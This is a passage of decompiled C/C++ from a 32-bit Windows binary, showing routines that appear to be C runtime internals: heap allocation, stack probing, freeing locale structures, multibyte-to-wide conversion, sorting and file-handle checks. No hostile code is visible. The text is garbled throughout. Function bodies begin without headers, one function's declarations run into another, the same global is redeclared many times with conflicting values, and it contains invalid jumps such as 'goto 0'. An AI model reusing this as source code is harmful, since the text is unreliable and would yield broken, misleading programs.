char>(esi25))))) & reinterpret_cast<unsigned char>(ecx30);
if (ebx31) {
do {
v36 = *reinterpret_cast<void***>(esi25);
eax29 = fun_406c46(ecx30, v36, v26, *reinterpret_cast<void***>(&v23), v21, v19, v18,
a1, a2, a3, a4, a5, a6, a7, a8, a9);
++edi28;
esi25 = esi25 + 4;
ecx30 = v36;
} while (edi28 != ebx31);
}
return eax29;
}
void** fun_408217(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13) {
void** v14;
void** v15;
void** ebp16;
void** v17;
void** esi18;
void** esi19;
void** ecx20;
void** eax21;
void** eax22;
void** v23;
void** eax24;
void** eax25;
v14 = reinterpret_cast<void**>(__return_address());
v15 = ebp16;
v17 = esi18;
esi19 = a1;
if (reinterpret_cast<unsigned char>(esi19) > reinterpret_cast<unsigned char>(0xffffffe0)) {
addr_408255_2:
eax21 = fun_4060e8(ecx20, v17, v15, v14, a1, a2, a3, a4, a5, a6);
*reinterpret_cast<void***>(eax21) = reinterpret_cast<void**>(12);
eax22 = reinterpret_cast<void**>(0);
} else {
if (!esi19) {
++esi19;
}
do {
v23 = g417250;
eax22 = reinterpret_cast<void**>(HeapAlloc(ecx20, v23, 0, esi19));
if (eax22)
goto addr_408253_6;
eax24 = fun_4056fb(ecx20, v23, 0, esi19, v17);
} while (eax24 && (eax25 = fun_4088ef(ecx20, esi19, v23, 0, esi19, v17), ecx20 = esi19,
!!eax25));
goto addr_408255_2;
}
addr_408262_8:
return eax22;
addr_408253_6:
goto addr_408262_8;
}
void fun_40cb10(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13) {
int32_t v14;
void* esp15;
uint32_t ecx16;
int32_t eax17;
uint32_t tmp32_18;
int32_t eax19;
void* eax20;
uint32_t eax21;
void* esp22;
void* ecx23;
int32_t* ecx24;
int32_t* eax25;
v14 = reinterpret_cast<int32_t>(__return_address());
esp15 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
ecx16 = reinterpret_cast<uint32_t>(reinterpret_cast<int32_t>(esp15) + 8 - eax17) & 15;
tmp32_18 = eax19 + ecx16;
eax20 = reinterpret_cast<void*>(tmp32_18 | ecx16 - (ecx16 +
reinterpret_cast<uint1_t>(ecx16 < ecx16 + reinterpret_cast<uint1_t>(tmp32_18 < eax21))));
esp22 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(esp15) + 4 - 4);
ecx23 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp22) + 4);
ecx24 = reinterpret_cast<int32_t*>(reinterpret_cast<uint32_t>(ecx23) -
reinterpret_cast<uint32_t>(eax20) & ~(reinterpret_cast<uint32_t>(eax20) -
(reinterpret_cast<uint32_t>(eax20) +
reinterpret_cast<uint1_t>(reinterpret_cast<uint32_t>(eax20) <
reinterpret_cast<uint32_t>(eax20) +
reinterpret_cast<uint1_t>(reinterpret_cast<uint32_t>(ecx23) <
reinterpret_cast<uint32_t>(eax20))))));
eax25 = reinterpret_cast<int32_t*>(reinterpret_cast<uint32_t>(esp22) & 0xfffff000);
while (reinterpret_cast<uint32_t>(ecx24) < reinterpret_cast<uint32_t>(eax25)) {
eax25 = eax25 - 0x400;
}
*ecx24 = v14;
goto *ecx24;
}
void** fun_4083c7(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22) {
int32_t v23;
void** eax24;
void** ebp25;
v23 = reinterpret_cast<int32_t>(__return_address());
eax24 = a2;
if (eax24 && (eax24 = eax24 - 8, reinterpret_cast<int1_t>(*reinterpret_cast<void***>(eax24)
== 0xdddd))) {
eax24 = fun_406c46(ecx, eax24, ebp25, *reinterpret_cast<void***>(&v23), a2, a3, a4, a5,
a6, a7, a8, a9, a10, a11, a12, a13);
}
return eax24;
}
/* (image base) */
void** image_base_ = reinterpret_cast<void**>(72);
/* (image base) */
void** image_base_ = reinterpret_cast<void**>(72);
/* (image base) */
void** image_base_ = reinterpret_cast<void**>(72);
/* (image base) */
void** image_base_ = reinterpret_cast<void**>(72);
/* (image base) */
void** image_base_ = reinterpret_cast<void**>(72);
/* (image base) */
void** image_base_ = reinterpret_cast<void**>(72);
/* (image base) */
void** image_base_ = reinterpret_cast<void**>(76);
/* (image base) */
void** image_base_ = reinterpret_cast<void**>(76);
/* (image base) */
void** image_base_ = reinterpret_cast<void**>(76);
/* (image base) */
void** image_base_ = reinterpret_cast<void**>(76);
/* (image base) */
void** image_base_ = reinterpret_cast<void**>(76);
/* (image base) */
void** image_base_ = reinterpret_cast<void**>(76);
void** fun_407f90(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12) {
int32_t v13;
int32_t ebp14;
int1_t zf15;
void** v16;
void** esi17;
int1_t zf18;
void** v19;
int1_t zf20;
void** v21;
int1_t zf22;
void** v23;
int1_t zf24;
void** v25;
int1_t zf26;
void** v27;
int1_t zf28;
void** v29;
int1_t zf30;
void** v31;
int1_t zf32;
void** v33;
int1_t zf34;
void** v35;
int1_t zf36;
void** v37;
int1_t zf38;
void** v39;
void** eax40;
int1_t zf41;
v13 = ebp14;
if (a2) {
zf15 = *reinterpret_cast<void***>(a2 + 12) == image_base_;
if (!zf15) {
v16 = *reinterpret_cast<void***>(a2 + 12);
fun_406c46(ecx, v16, esi17, *reinterpret_cast<void***>(&v13), __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
ecx = v16;
}
zf18 = *reinterpret_cast<void***>(a2 + 16) == image_base_;
if (!zf18) {
v19 = *reinterpret_cast<void***>(a2 + 16);
fun_406c46(ecx, v19, esi17, *reinterpret_cast<void***>(&v13), __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
ecx = v19;
}
zf20 = *reinterpret_cast<void***>(a2 + 20) == image_base_;
if (!zf20) {
v21 = *reinterpret_cast<void***>(a2 + 20);
fun_406c46(ecx, v21, esi17, *reinterpret_cast<void***>(&v13), __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
ecx = v21;
}
zf22 = *reinterpret_cast<void***>(a2 + 24) == image_base_;
if (!zf22) {
v23 = *reinterpret_cast<void***>(a2 + 24);
fun_406c46(ecx, v23, esi17, *reinterpret_cast<void***>(&v13), __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
ecx = v23;
}
zf24 = *reinterpret_cast<void***>(a2 + 28) == image_base_;
if (!zf24) {
v25 = *reinterpret_cast<void***>(a2 + 28);
fun_406c46(ecx, v25, esi17, *reinterpret_cast<void***>(&v13), __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
ecx = v25;
}
zf26 = *reinterpret_cast<void***>(a2 + 32) == image_base_;
if (!zf26) {
v27 = *reinterpret_cast<void***>(a2 + 32);
fun_406c46(ecx, v27, esi17, *reinterpret_cast<void***>(&v13), __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
ecx = v27;
}
zf28 = *reinterpret_cast<void***>(a2 + 36) == image_base_;
if (!zf28) {
v29 = *reinterpret_cast<void***>(a2 + 36);
fun_406c46(ecx, v29, esi17, *reinterpret_cast<void***>(&v13), __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
ecx = v29;
}
zf30 = *reinterpret_cast<void***>(a2 + 56) == image_base_;
if (!zf30) {
v31 = *reinterpret_cast<void***>(a2 + 56);
fun_406c46(ecx, v31, esi17, *reinterpret_cast<void***>(&v13), __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
ecx = v31;
}
zf32 = *reinterpret_cast<void***>(a2 + 60) == image_base_;
if (!zf32) {
v33 = *reinterpret_cast<void***>(a2 + 60);
fun_406c46(ecx, v33, esi17, *reinterpret_cast<void***>(&v13), __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
ecx = v33;
}
zf34 = *reinterpret_cast<void***>(a2 + 64) == image_base_;
if (!zf34) {
v35 = *reinterpret_cast<void***>(a2 + 64);
fun_406c46(ecx, v35, esi17, *reinterpret_cast<void***>(&v13), __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
ecx = v35;
}
zf36 = *reinterpret_cast<void***>(a2 + 68) == image_base_;
if (!zf36) {
v37 = *reinterpret_cast<void***>(a2 + 68);
fun_406c46(ecx, v37, esi17, *reinterpret_cast<void***>(&v13), __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
ecx = v37;
}
zf38 = *reinterpret_cast<void***>(a2 + 72) == image_base_;
if (!zf38) {
v39 = *reinterpret_cast<void***>(a2 + 72);
fun_406c46(ecx, v39, esi17, *reinterpret_cast<void***>(&v13), __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
ecx = v39;
}
eax40 = *reinterpret_cast<void***>(a2 + 76);
zf41 = eax40 == image_base_;
if (!zf41) {
eax40 = fun_406c46(ecx, eax40, esi17, *reinterpret_cast<void***>(&v13),
__return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
}
}
return eax40;
}
/* (image base) */
void** image_base_ = reinterpret_cast<void**>(68);
/* (image base) */
void** image_base_ = reinterpret_cast<void**>(72);
/* (image base) */
void** image_base_ = reinterpret_cast<void**>(72);
/* (image base) */
void** image_base_ = reinterpret_cast<void**>(72);
/* (image base) */
void** image_base_ = reinterpret_cast<void**>(76);
void** fun_40808e(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12) {
int32_t v13;
int32_t ebp14;
int1_t zf15;
void** v16;
void** esi17;
int1_t zf18;
void** v19;
int1_t zf20;
void** v21;
int1_t zf22;
void** v23;
void** eax24;
int1_t zf25;
v13 = ebp14;
if (a2) {
zf15 = *reinterpret_cast<void***>(a2) == image_base_;
if (!zf15) {
v16 = *reinterpret_cast<void***>(a2);
fun_406c46(ecx, v16, esi17, *reinterpret_cast<void***>(&v13), __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
ecx = v16;
}
zf18 = *reinterpret_cast<void***>(a2 + 4) == image_base_;
if (!zf18) {
v19 = *reinterpret_cast<void***>(a2 + 4);
fun_406c46(ecx, v19, esi17, *reinterpret_cast<void***>(&v13), __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
ecx = v19;
}
zf20 = *reinterpret_cast<void***>(a2 + 8) == image_base_;
if (!zf20) {
v21 = *reinterpret_cast<void***>(a2 + 8);
fun_406c46(ecx, v21, esi17, *reinterpret_cast<void***>(&v13), __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
ecx = v21;
}
zf22 = *reinterpret_cast<void***>(a2 + 48) == image_base_;
if (!zf22) {
v23 = *reinterpret_cast<void***>(a2 + 48);
fun_406c46(ecx, v23, esi17, *reinterpret_cast<void***>(&v13), __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
ecx = v23;
}
eax24 = *reinterpret_cast<void***>(a2 + 52);
zf25 = eax24 == image_base_;
if (!zf25) {
eax24 = fun_406c46(ecx, eax24, esi17, *reinterpret_cast<void***>(&v13),
__return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
}
}
return eax24;
}
void** fun_4086b1(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9) {
int32_t ebp10;
void** eax11;
void** ecx12;
int32_t ebp13;
void** v14;
void** eax15;
int32_t ebp16;
int32_t ebp17;
void** fun_409c17(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8) {
void** ebp9;
void** eax10;
if (a2) {
HeapSize();
goto 0;
} else {
eax10 = fun_4060e8(ecx, ebp9, __return_address(), a2, a3, a4, a5, a6, a7, a8);
*reinterpret_cast<void***>(eax10) = reinterpret_cast<void**>(22);
fun_40602c(ecx, ebp9, __return_address(), a2, a3);
return 0xffffffff;
}
}
eax2 = a1 - 1 - 1;
if (!eax2) {
return 0x417258;
} else {
eax3 = reinterpret_cast<struct s33*>(eax2 - 4);
if (eax3) {
eax4 = reinterpret_cast<uint32_t>(eax3) - 9;
if (!eax4) {
return 0x417264;
} else {
eax5 = eax4 - 6;
if (!eax5) {
return 0x41725c;
} else {
if (eax5 - 1) {
return 0;
}
}
}
}
return 0x417260;
}
}
void** fun_408ac3(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11) {
void** eax12;
eax12 = fun_40695e(ecx, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10, a11);
return eax12 + 8;
}
ecx2 = a1;
eax3 = 0;
if (*reinterpret_cast<unsigned char*>(&ecx2) & 16) {
eax3 = 0x80;
}
if (*reinterpret_cast<unsigned char*>(&ecx2) & 8) {
eax3 = eax3 | 0x200;
}
if (*reinterpret_cast<unsigned char*>(&ecx2) & 4) {
eax3 = eax3 | 0x400;
}
if (*reinterpret_cast<unsigned char*>(&ecx2) & 2) {
eax3 = eax3 | 0x800;
}
if (*reinterpret_cast<unsigned char*>(&ecx2) & 1) {
eax3 = eax3 | 0x1000;
}
if (reinterpret_cast<unsigned char>(ecx2) & 0x80000) {
eax3 = eax3 | 0x100;
}
edx4 = reinterpret_cast<unsigned char>(ecx2) & 0x300;
if (edx4) {
if (edx4 == 0x100) {
eax3 = eax3 | 0x2000;
} else {
if (edx4 == 0x200) {
eax3 = eax3 | 0x4000;
} else {
if (edx4 == 0x300) {
eax3 = eax3 | 0x6000;
}
}
}
}
ecx5 = reinterpret_cast<unsigned char>(ecx2) & 0x3000000;
if (ecx5 == 0x1000000) {
eax3 = eax3 | 0x8040;
} else {
if (ecx5 == 0x2000000) {
return eax3 | 64;
} else {
if (ecx5 == 0x3000000) {
return eax3 | 0x8000;
}
}
}
return eax3;
}
struct s42 {
signed char[8] pad8;
int32_t f8;
};
uint32_t g416750 = 1;
struct s44 {
signed char[8] pad8;
int32_t f8;
};
struct s45 {
signed char[848] pad848;
uint32_t f350;
};
v5 = reinterpret_cast<int32_t>(__return_address());
ebp6 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
if (!a2 || !a3) {
addr_409143_2:
eax7 = 0;
} else {
if (*reinterpret_cast<void***>(a2)) {
ecx8 = reinterpret_cast<void**>(ebp6 + 0xfffffff0);
fun_405d20(ecx8, a4, edi9, esi10, ebx11, v12, v13, v14);
if (!v15->fa8) {
if (a1) {
eax16 = reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a2));
*a1 = *reinterpret_cast<int16_t*>(&eax16);
}
edi17 = 1;
goto addr_4091fc_8;
}
v18 = reinterpret_cast<void**>(ebp6 + 0xfffffff4);
v19 = reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a2));
eax20 = fun_409fb9(ecx8, *reinterpret_cast<unsigned char*>(&v19), v18);
if (!eax20)
goto addr_4091cb_10; else
goto addr_40918b_11;
} else {
if (a1) {
*a1 = 0;
goto addr_409143_2;
}
}
}
addr_409145_14:
return eax7;
addr_4091cb_10:
eax21 = reinterpret_cast<int16_t*>(0);
*reinterpret_cast<unsigned char*>(&eax21) = reinterpret_cast<uint1_t>(!!a1);
edi17 = 1;
v22 = v23->f8;
eax24 = reinterpret_cast<int32_t>(MultiByteToWideChar(v18, v22, 9, a2, 1, a1, eax21));
if (eax24) {
addr_4091fc_8:
if (v25) {
v26->f350 = v26->f350 & 0xfffffffd;
}
} else {
addr_4091ee_16:
eax31 = fun_4060e8(v18, edi9, esi10, ebx11, 1, v27, v28, v29, ebp30,
*reinterpret_cast<void***>(&v5));
edi17 = 0xffffffff;
*reinterpret_cast<void***>(eax31) = reinterpret_cast<void**>(42);
goto addr_4091fc_8;
}
eax7 = edi17;
goto addr_409145_14;
addr_40918b_11:
edi17 = v32;
if (*reinterpret_cast<int32_t*>(edi17 + 4) <= reinterpret_cast<int32_t>(1))
goto addr_4091bb_18;
cf33 = a3 < *reinterpret_cast<uint32_t*>(edi17 + 4);
if (reinterpret_cast<int32_t>(a3) >= *reinterpret_cast<int32_t*>(edi17 + 4)) {
eax34 = reinterpret_cast<int16_t*>(0);
*reinterpret_cast<unsigned char*>(&eax34) = reinterpret_cast<uint1_t>(!!a1);
v35 = *reinterpret_cast<uint32_t*>(edi17 + 4);
v36 = *reinterpret_cast<int32_t*>(edi17 + 8);
eax37 = reinterpret_cast<int32_t>(MultiByteToWideChar(v18, v36, 9, a2, v35, a1, eax34));
edi17 = v38;
if (eax37) {
addr_4091c6_21:
edi17 = *reinterpret_cast<uint32_t*>(edi17 + 4);
goto addr_4091fc_8;
} else {
addr_4091bb_18:
cf33 = a3 < *reinterpret_cast<uint32_t*>(edi17 + 4);
}
}
if (cf33)
goto addr_4091ee_16;
if (!*reinterpret_cast<void***>(a2 + 1))
goto addr_4091ee_16; else
goto addr_4091c6_21;
}
EnterCriticalSection();
goto ebp3;
}
edi2 = 0;
ebx3 = 0xe3;
v4 = 0;
v5 = 0xe3;
do {
v6 = 85;
__asm__("cdq ");
ecx7 = reinterpret_cast<int32_t>(ebx3 + edi2 - edx8) >> 1;
v9 = ecx7;
esi10 = *reinterpret_cast<uint16_t**>(ecx7 * 8 + 0x4111f0);
ecx11 = reinterpret_cast<unsigned char>(a1) - reinterpret_cast<uint32_t>(esi10);
do {
eax12 = *reinterpret_cast<uint16_t*>(ecx11 + reinterpret_cast<uint32_t>(esi10));
if (*reinterpret_cast<uint16_t*>(&eax12) < 65 || *reinterpret_cast<uint16_t*>(&eax12) >
90) {
edx13 = eax12;
} else {
eax14 = eax12 + 32;
edx13 = *reinterpret_cast<uint16_t*>(&eax14);
}
eax15 = *esi10;
if (*reinterpret_cast<uint16_t*>(&eax15) >= 65 && *reinterpret_cast<uint16_t*>(&eax15)
<= 90) {
eax16 = eax15 + 32;
eax15 = *reinterpret_cast<uint16_t*>(&eax16);
}
++esi10;
--v6;
} while (v6 && (*reinterpret_cast<uint16_t*>(&edx13) &&
*reinterpret_cast<uint16_t*>(&edx13) == *reinterpret_cast<uint16_t*>(&eax15)));
edi2 = v4;
ebx3 = v5;
edx8 = *reinterpret_cast<uint16_t*>(&edx13) - *reinterpret_cast<uint16_t*>(&eax15);
if (!edx8)
break;
if (reinterpret_cast<int32_t>(edx8) >= reinterpret_cast<int32_t>(0)) {
edi2 = v9 + 1;
v4 = edi2;
} else {
ebx3 = v9 - 1;
v5 = ebx3;
}
} while (edi2 <= ebx3);
goto addr_409493_14;
eax17 = *reinterpret_cast<uint32_t*>("B" + v9 * 8);
addr_40949f_16:
return eax17;
addr_409493_14:
eax17 = 0xffffffff;
goto addr_40949f_16;
}
void** fun_4094e0(void** ecx, void** a2, void** a3, void** a4, void** a5) {
void** v6;
void** v7;
void** ebp8;
void*** ebp9;
uint32_t eax10;
void** v11;
void** ecx12;
void** ebx13;
void** eax14;
void** edx15;
void** esi16;
void** edi17;
int32_t eax18;
void** esi19;
void** edx20;
void* edi21;
void** cl22;
void** eax23;
v6 = reinterpret_cast<void**>(__return_address());
v7 = ebp8;
ebp9 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
eax10 = g416004;
v11 = reinterpret_cast<void**>(eax10 ^ reinterpret_cast<uint32_t>(ebp9));
ecx12 = a2;
ebx13 = a3;
if (reinterpret_cast<unsigned char>(ebx13) > reinterpret_cast<unsigned char>(ecx12)) {
eax14 = a4;
edx15 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx12) +
reinterpret_cast<unsigned char>(eax14));
do {
esi16 = edx15;
edi17 = ecx12;
if (reinterpret_cast<unsigned char>(esi16) <= reinterpret_cast<unsigned char>(ebx13)) {
do {
image_base_(a5, esi16, edi17);
eax18 = reinterpret_cast<int32_t>(a5(a5, esi16, edi17));
if (!(reinterpret_cast<uint1_t>(eax18 < 0) | reinterpret_cast<uint1_t>(eax18 == 0))) {
edi17 = esi16;
}
eax14 = a4;
esi16 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(esi16) +
reinterpret_cast<unsigned char>(eax14));
} while (reinterpret_cast<unsigned char>(esi16) <= reinterpret_cast<unsigned
char>(ebx13));
ecx12 = a2;
}
esi19 = eax14;
edx20 = ebx13;
if (edi17 != ebx13 && eax14) {
edi21 = reinterpret_cast<void*>(reinterpret_cast<unsigned char>(edi17) -
reinterpret_cast<unsigned char>(ebx13));
do {
++edx20;
cl22 = *reinterpret_cast<void***>(reinterpret_cast<uint32_t>(edi21) +
reinterpret_cast<unsigned char>(edx20) + 0xffffffff);
*reinterpret_cast<void***>(reinterpret_cast<uint32_t>(edi21) +
reinterpret_cast<unsigned char>(edx20) + 0xffffffff) = *reinterpret_cast<void***>(edx20);
*reinterpret_cast<void***>(edx20 + 0xffffffff) = cl22;
--esi19;
} while (esi19);
eax14 = a4;
ecx12 = a2;
}
ebx13 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ebx13) -
reinterpret_cast<unsigned char>(eax14));
edx15 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx12) +
reinterpret_cast<unsigned char>(eax14));
} while (reinterpret_cast<unsigned char>(ebx13) > reinterpret_cast<unsigned
char>(ecx12));
}
eax23 = fun_402f62(reinterpret_cast<unsigned char>(v11) ^
reinterpret_cast<uint32_t>(ebp9), v11, v7, v6, a2, a3, a4, a5);
return eax23;
}
eax5 = a3;
if (a2 != eax5) {
esi6 = a4;
if (esi6) {
edi7 = reinterpret_cast<void*>(reinterpret_cast<unsigned char>(a2) -
reinterpret_cast<unsigned char>(eax5));
do {
++eax5;
dl8 = *reinterpret_cast<void***>(reinterpret_cast<uint32_t>(edi7) +
reinterpret_cast<unsigned char>(eax5) + 0xffffffff);
*reinterpret_cast<void***>(reinterpret_cast<uint32_t>(edi7) +
reinterpret_cast<unsigned char>(eax5) + 0xffffffff) = *reinterpret_cast<void***>(eax5);
*reinterpret_cast<void***>(eax5 + 0xffffffff) = dl8;
--esi6;
} while (esi6);
}
}
return;
}
void** fun_406425(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22);
void** fun_4099a0(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, int32_t a10) {
void*** esp11;
uint32_t eax12;
void** v13;
void** esi14;
void*** esp15;
void** eax16;
int1_t less17;
void** edi18;
int32_t eax19;
void** v20;
void** v21;
void** eax22;
void** esp23;
void** ebp24;
void** eax25;
void** edx26;
void** ecx27;
uint32_t eax28;
void** ebx29;
void** ecx30;
uint32_t eax31;
void** v32;
void** edi33;
void** esi34;
void** ebx35;
void** eax36;
void** v37;
void** v38;
void** v39;
int32_t eax40;
void** eax41;
void** edx42;
void** ecx43;
uint32_t eax44;
void** edi45;
void** ecx46;
uint32_t eax47;
void** v48;
void** eax49;
void** eax50;
void** v51;
void** v52;
void** eax53;
void** eax54;
ecx3 = a1;
eax4 = reinterpret_cast<void**>(0);
if (*reinterpret_cast<void***>(ecx3)) {
do {
if (eax4 == a2)
break;
++eax4;
} while (*reinterpret_cast<signed char*>(reinterpret_cast<unsigned char>(eax4) +
reinterpret_cast<unsigned char>(ecx3)));
}
return eax4;
}
void** fun_4064ad(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9);
void** fun_406425(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22) {
void* ebp23;
uint32_t eax24;
void** v25;
void** esi26;
void** eax27;
void** v28;
void** v29;
void** v30;
void** v31;
void** v32;
void** eax33;
uint32_t fun_409cb3(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7) {
int1_t cf8;
void** ebp9;
void** eax10;
void** eax11;
if (!reinterpret_cast<int1_t>(a1 == 0xfffffffe)) {
if (reinterpret_cast<signed char>(a1) < reinterpret_cast<signed char>(0) || (cf8 =
reinterpret_cast<unsigned char>(a1) < reinterpret_cast<unsigned char>(g417240), !cf8)) {
eax10 = fun_4060e8(a1, ebp9, __return_address(), a1, a2, a3, a4, a5, a6, a7);
*reinterpret_cast<void***>(eax10) = reinterpret_cast<void**>(9);
fun_40602c(a1, ebp9, __return_address(), a1, a2);
} else {
return static_cast<uint32_t>(*reinterpret_cast<unsigned
char*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>((reinterpret_cast<signed char>(a1)
>> 6) * 4 + 0x417040)) + (reinterpret_cast<unsigned char>(a1) & 63) * 48 + 40)) & 64;
}
} else {
eax11 = fun_4060e8(a1, ebp9, __return_address(), a1, a2, a3, a4, a5, a6, a7);
*reinterpret_cast<void***>(eax11) = reinterpret_cast<void**>(9);
}
return 0;
}
void** fun_409288(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8) {
void** ebp9;
void** eax10;
if (a2) {
return *reinterpret_cast<void***>(a2 + 16);
} else {
eax10 = fun_4060e8(ecx, ebp9, __return_address(), a2, a3, a4, a5, a6, a7, a8);
*reinterpret_cast<void***>(eax10) = reinterpret_cast<void**>(22);
fun_40602c(ecx, ebp9, __return_address(), a2, a3);
return 0xffffffff;
}
}
struct s46 {
signed char[8] pad8;
void** f8;
};
struct s47 {
signed char[16] pad16;
void** f10;
};
struct s48 {
signed char[12] pad12;
void** fc;
};
void** fun_40a7ab(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7) {
void** esi8;
struct s46* ebp9;
int1_t cf10;
int32_t ebx11;
int32_t ebp12;
void** eax13;
void** eax14;
int32_t ebp15;
int32_t ebp16;
int32_t ebp17;
void** v18;
struct s47* ebp19;
void** v20;
struct s48* ebp21;
void** eax22;
int32_t ebp23;
void** eax24;
void** eax25;
int32_t ebp26;
void** eax27;
void** eax28;
void** g417270;
struct s49 {
signed char[8] pad8;
int32_t f8;
};
uint32_t fun_409d6f(void** ecx, void** a2, void** a3, void** a4, void** a5);
v3 = reinterpret_cast<void**>(__return_address());
fun_4038a0(ecx, 0x414ae8, 28, v3);
*reinterpret_cast<uint32_t*>(ebp4 - 28) = 0;
*reinterpret_cast<uint32_t*>(ebp5 - 36) = 0;
fun_407a92(ecx, 8);
ecx6 = reinterpret_cast<void**>(8);
*reinterpret_cast<uint32_t*>(ebp7 - 4) = 0;
esi8 = g417274;
eax9 = g417270;
eax10 = esi8 + reinterpret_cast<unsigned char>(eax9) * 4;
*reinterpret_cast<void***>(ebp11 - 44) = eax10;
ebx12 = ebp13->f8;
while (*reinterpret_cast<void***>(ebp14 - 32) = esi8, esi8 != eax10) {
edi15 = *reinterpret_cast<void***>(esi8);
*reinterpret_cast<void***>(ebp16 - 40) = edi15;
if (edi15) {
fun_4093c2(ecx6, edi15);
ecx6 = edi15;
*reinterpret_cast<int32_t*>(ebp17 - 4) = 1;
eax18 = reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(edi15 + 12)) >> 13;
if (*reinterpret_cast<unsigned char*>(&eax18) & 1) {
if (ebx12 != 1) {
if (!ebx12 && ((eax19 = reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(edi15 + 12)) >> 1, !!(*reinterpret_cast<unsigned
char*>(&eax19) & 1)) && (eax20 = fun_409d6f(ecx6, edi15, 0x414ae8, 28, v3), ecx6 = edi15,
eax20 == 0xffffffff))) {
*reinterpret_cast<uint32_t*>(ebp21 - 36) = *reinterpret_cast<uint32_t*>(ebp22 -
36) | eax20;
}
} else {
eax23 = fun_409d6f(ecx6, edi15, 0x414ae8, 28, v3);
ecx6 = edi15;
if (eax23 != 0xffffffff) {
*reinterpret_cast<int32_t*>(ebp24 - 28) = *reinterpret_cast<int32_t*>(ebp25 - 28)
+ 1;
}
}
}
*reinterpret_cast<uint32_t*>(ebp26 - 4) = 0;
fun_409e64(ecx6);
eax10 = *reinterpret_cast<void***>(ebp27 - 44);
}
esi8 = esi8 + 4;
}
*reinterpret_cast<int32_t*>(ebp28 - 4) = -2;
fun_409e8e(ecx6);
if (ebx12 != 1) {
}
fun_4038f0(ecx6, 0x414ae8, 28, v3, a2);
goto 0x414ae8;
}
uint32_t fun_40a1ac(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6) {
void** v7;
int1_t cf8;
void** esi9;
void** ebp10;
void** eax11;
uint32_t eax12;
void** eax13;
v7 = ecx;
if (!reinterpret_cast<int1_t>(a2 == 0xfffffffe)) {
if (reinterpret_cast<signed char>(a2) < reinterpret_cast<signed char>(0) || ((cf8 =
reinterpret_cast<unsigned char>(a2) < reinterpret_cast<unsigned char>(g417240), !cf8) || (ecx
= reinterpret_cast<void**>((reinterpret_cast<unsigned char>(a2) & 63) * 48),
(*reinterpret_cast<unsigned
char*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>((reinterpret_cast<signed char>(a2)
>> 6) * 4 + 0x417040)) + reinterpret_cast<unsigned char>(ecx) + 40) & 1) == 0))) {
eax11 = fun_4060e8(ecx, esi9, v7, ebp10, __return_address(), a2, a3, a4, a5, a6);
*reinterpret_cast<void***>(eax11) = reinterpret_cast<void**>(9);
fun_40602c(ecx, esi9, v7, ebp10, __return_address());
} else {
